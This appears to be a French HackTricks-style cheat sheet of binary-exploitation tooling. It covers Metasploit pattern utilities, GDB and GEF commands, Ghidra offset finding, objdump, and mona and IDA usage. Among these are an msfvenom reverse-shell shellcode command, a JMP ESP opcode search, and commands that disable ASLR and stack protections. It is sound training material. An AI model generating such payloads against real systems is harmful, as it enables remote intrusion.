# Outils d'Exploitation {{#include ../../../banners/hacktricks-training.md}} ## Metasploit ```bash pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` ### Shellcodes ```bash msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` ## GDB ### Installer ```bash apt-get install gdb ``` ### Paramètres ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` ### Instructions ```bash run # Execute start # Start and break in main n/next/ni # Execute next instruction (no inside) s/step/si # Execute next instruction c/continue # Continue until next breakpoint p system # Find the address of the system function set $eip = 0x12345678 # Change value of $eip help # Get help quit # exit # Disassemble disassemble main # Disassemble the function called main disassemble 0x12345678 # Disassemble taht address set disassembly-flavor intel # Use intel syntax set follow-fork-mode child/parent # Follow child/parent process # Breakpoints br func # Add breakpoint to function br *func+23 br *0x12345678 del # Delete that number of breakpoint watch EXPRESSION # Break if the value changes # info info functions --> Info abount functions info functions func --> Info of the funtion info registers --> Value of the registers bt # Backtrace Stack bt full # Detailed stack print variable print 0x87654321 - 0x12345678 # Caculate # x/examine examine/ dir_mem/reg/puntero # Shows content of in where each entry is a x/o 0xDir_hex x/2x $eip # 2Words from EIP x/2x $eip -4 # $eip - 4 x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) i r eip # Value of $eip x/w pointer # Value of the pointer x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` ### [GEF](https://github.com/hugsy/gef) Vous pouvez éventuellement utiliser [**ce fork de GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) qui contient des instructions plus intéressantes. ```bash help memory # Get help on memory command canary # Search for canary value in memory checksec #Check protections p system #Find system function address search-pattern "/bin/sh" #Search in the process memory vmmap #Get memory mappings xinfo # Shows page, size, perms, memory area and offset of the addr in the page memory watch 0x784000 0x1000 byte #Add a view always showinf this memory got #Check got table memory watch $_got()+0x18 5 #Watch a part of the got table # Vulns detection format-string-helper #Detect insecure format strings heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp #Shellcode shellcode search x86 #Search shellcodes shellcode get 61 #Download shellcode number 61 #Dump memory to file dump binary memory /tmp/dump.bin 0x200000000 0x20000c350 #Another way to get the offset of to the RIP 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: rip = 0x400cd3; saved rip = 0x6261617762616176 called by frame at 0x7fffffffddd8 Arglist at 0x7fffffffdcf8, args: Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 Saved registers: rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` ### Astuces #### Adresses identiques dans GDB Lors du débogage, GDB aura **des adresses légèrement différentes de celles utilisées par le binaire lors de l'exécution.** Vous pouvez faire en sorte que GDB ait les mêmes adresses en faisant : - `unset env LINES` - `unset env COLUMNS` - `set env _=` _Mettez le chemin absolu vers le binaire_ - Exploitez le binaire en utilisant le même chemin absolu - `PWD` et `OLDPWD` doivent être les mêmes lors de l'utilisation de GDB et lors de l'exploitation du binaire #### Backtrace pour trouver les fonctions appelées Lorsque vous avez un **binaire lié statiquement**, toutes les fonctions appartiendront au binaire (et non à des bibliothèques externes). Dans ce cas, il sera difficile d'**identifier le flux que suit le binaire pour, par exemple, demander une entrée utilisateur**.\ Vous pouvez facilement identifier ce flux en **exécutant** le binaire avec **gdb** jusqu'à ce qu'on vous demande une entrée. Ensuite, arrêtez-le avec **CTRL+C** et utilisez la commande **`bt`** (**backtrace**) pour voir les fonctions appelées : ``` gef➤ bt #0 0x00000000004498ae in ?? () #1 0x0000000000400b90 in ?? () #2 0x0000000000400c1d in ?? () #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` ### Serveur GDB `gdbserver --multi 0.0.0.0:23947` (dans IDA, vous devez remplir le chemin absolu de l'exécutable sur la machine Linux et sur la machine Windows) ## Ghidra ### Trouver l'offset de la pile **Ghidra** est très utile pour trouver l'**offset** pour un **débordement de tampon grâce aux informations sur la position des variables locales.**\ Par exemple, dans l'exemple ci-dessous, un débordement de tampon dans `local_bc` indique que vous avez besoin d'un offset de `0xbc`. De plus, si `local_10` est un cookie canari, cela indique que pour l'écraser depuis `local_bc`, il y a un offset de `0xac`.\ _Remember que les premiers 0x08 d'où le RIP est sauvegardé appartiennent au RBP._ ![](<../../../images/image (1061).png>) ## qtool ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` Obtenez chaque opcode exécuté dans le programme. ## GCC **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compiler sans protections\ **-o** --> Sortie\ **-g** --> Sauvegarder le code (GDB pourra le voir)\ **echo 0 > /proc/sys/kernel/randomize_va_space** --> Pour désactiver l'ASLR sous linux **Pour compiler un shellcode :**\ **nasm -f elf assembly.asm** --> retourne un ".o"\ **ld assembly.o -o shellcodeout** --> Exécutable ## Objdump **-d** --> **Désassembler les** sections exécutables (voir les opcodes d'un shellcode compilé, trouver des gadgets ROP, trouver l'adresse d'une fonction...)\ **-Mintel** --> **Syntaxe** Intel\ **-t** --> Table des **symboles**\ **-D** --> **Désassembler tout** (adresse de variable statique)\ **-s -j .dtors** --> section dtors\ **-s -j .got** --> section got\ -D -s -j .plt --> section **plt** **décompilée**\ **-TR** --> **Relocalisations**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse de "puts" à modifier dans le GOT\ **objdump -D ./exec | grep "VAR_NAME"** --> Adresse ou une variable statique (celles-ci sont stockées dans la section DATA). ## Core dumps 1. Exécutez `ulimit -c unlimited` avant de démarrer mon programme 2. Exécutez `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet ## Plus **ldd executable | grep libc.so.6** --> Adresse (si ASLR, alors cela change à chaque fois)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Boucle pour voir si l'adresse change beaucoup\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Décalage de "system"\ **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Décalage de "/bin/sh" **strace executable** --> Fonctions appelées par l'exécutable\ **rabin2 -i ejecutable -->** Adresse de toutes les fonctions ## **Inmunity debugger** ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` ## IDA ### Débogage dans linux distant À l'intérieur du dossier IDA, vous pouvez trouver des binaires qui peuvent être utilisés pour déboguer un binaire à l'intérieur d'un linux. Pour ce faire, déplacez le binaire `linux_server` ou `linux_server64` à l'intérieur du serveur linux et exécutez-le dans le dossier qui contient le binaire : ``` ./linux_server64 -Ppass ``` Ensuite, configurez le débogueur : Debugger (linux remote) --> Proccess options... : ![](<../../../images/image (858).png>) {{#include ../../../banners/hacktricks-training.md}}